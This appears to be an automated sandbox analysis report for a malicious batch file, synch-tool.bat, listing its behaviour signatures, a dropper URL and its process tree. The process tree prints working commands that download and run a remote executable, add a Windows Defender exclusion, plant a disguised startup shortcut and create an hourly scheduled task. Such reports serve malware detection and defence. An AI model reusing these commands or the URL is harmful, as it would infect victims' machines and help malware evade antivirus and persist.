Overview

overview

10

Static

static

1

synch-tool.bat

windows10-2004-x64

10

synch-tool.bat

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    11/07/2026, 03:43

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    synch-tool.bat
  • Size 1KB
  • Sample260711-ead1padt7s
  • SHA256 a586feb9ef248c61911bea5382b72b5e859dfa2f46c4e8e49016a37abeab16e7
  • MD5 SHA1 SHA512 TLSH
Score
10/10
defense_evasionexecutionpersistence

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://www.dropbox.com/scl/fi/obfjhfr5bysqanu0zub7w/installer.exe?rlkey=m6a1wkyy5327t3whowzvzi5qk&st=yx1qa5eg&dl=1

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 2 IoCs
    defense_evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\synch-tool.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1472
    • C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      2⤵
      • Delays execution with timeout.exe
      PID:1576
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "& { $url = 'https://www.dropbox.com/scl/fi/obfjhfr5bysqanu0zub7w/installer.exe?rlkey=m6a1wkyy5327t3whowzvzi5qk&st=yx1qa5eg&dl=1'; Invoke-WebRequest -Uri $url -OutFile 'C:\Users\Admin\Downloads\update.exe' }"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Downloads MZ/PE file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4472
    • C:\Windows\system32\cscript.exe
      cscript "C:\Users\Admin\AppData\Local\Temp\runas.vbs" //nologo
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2236
      • C:\Users\Admin\Downloads\update.exe
        "C:\Users\Admin\Downloads\update.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2296
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsHelper' -ErrorAction SilentlyContinue"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4336
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsHelper.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\WindowsHelper\whelper.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\WindowsHelper'; $Shortcut.Description = 'Windows System Helper'; $Shortcut.Save();"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2004
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /create /tn "WindowsHelperUpdate" /tr "C:\ProgramData\WindowsHelper\whelper.exe" /sc hourly /mo 1 /f
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3948
        • C:\ProgramData\WindowsHelper\whelper.exe
          "C:\ProgramData\WindowsHelper\whelper.exe"
          4⤵
          • Executes dropped EXE
          PID:4072
    • C:\Windows\system32\timeout.exe
      timeout /t 8 /nobreak
      2⤵
      • Delays execution with timeout.exe
      PID:1460
  • C:\PROGRA~3\WINDOW~2\whelper.exe
    C:\PROGRA~3\WINDOW~2\whelper.exe
    1⤵
    • Executes dropped EXE
    PID:116
  • C:\ProgramData\WindowsHelper\whelper.exe
    C:\ProgramData\WindowsHelper\whelper.exe
    1⤵
    • Executes dropped EXE
    PID:5016

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 5ba068c4c88c7a71d8eb3f4701fb9f4583c09e3cbefa7d7ee8f3f6399c88ae56
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 70329406d55a7f671e2c30943772bfde19ceb53f7a402222aa0f74669f741f17
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_sgam5qg0.brf.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sgam5qg0.brf.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        runas.vbs
        • Path C:\Users\Admin\AppData\Local\Temp\runas.vbs
        • Size 123B
        • SHA256 97a54fd92c7130d463fe5d8e03c58010a3eacc773988445984deb3897f48da97
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        update.exe
        • Path C:\Users\Admin\Downloads\update.exe
        • Size 23KB
        • SHA256 43d39720531452a63873b4bf3036aca879db5d5069267a807bbf0c36643958b2
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/116-47-0x00007FF6B01C0000-0x00007FF6B01CD000-memory.dmp
        Download

        memory/2296-56-0x00007FF6AF640000-0x00007FF6AF64D000-memory.dmp
        Download

        memory/4072-55-0x00007FF6B01C0000-0x00007FF6B01CD000-memory.dmp
        Download

        memory/4472-1-0x0000023CE9970000-0x0000023CE9980000-memory.dmp
        Download

        memory/4472-2-0x0000023CE9670000-0x0000023CE9692000-memory.dmp
        Download

        memory/4472-0-0x0000023CE9970000-0x0000023CE9980000-memory.dmp
        Download

        memory/5016-49-0x00007FF6B01C0000-0x00007FF6B01CD000-memory.dmp
        Download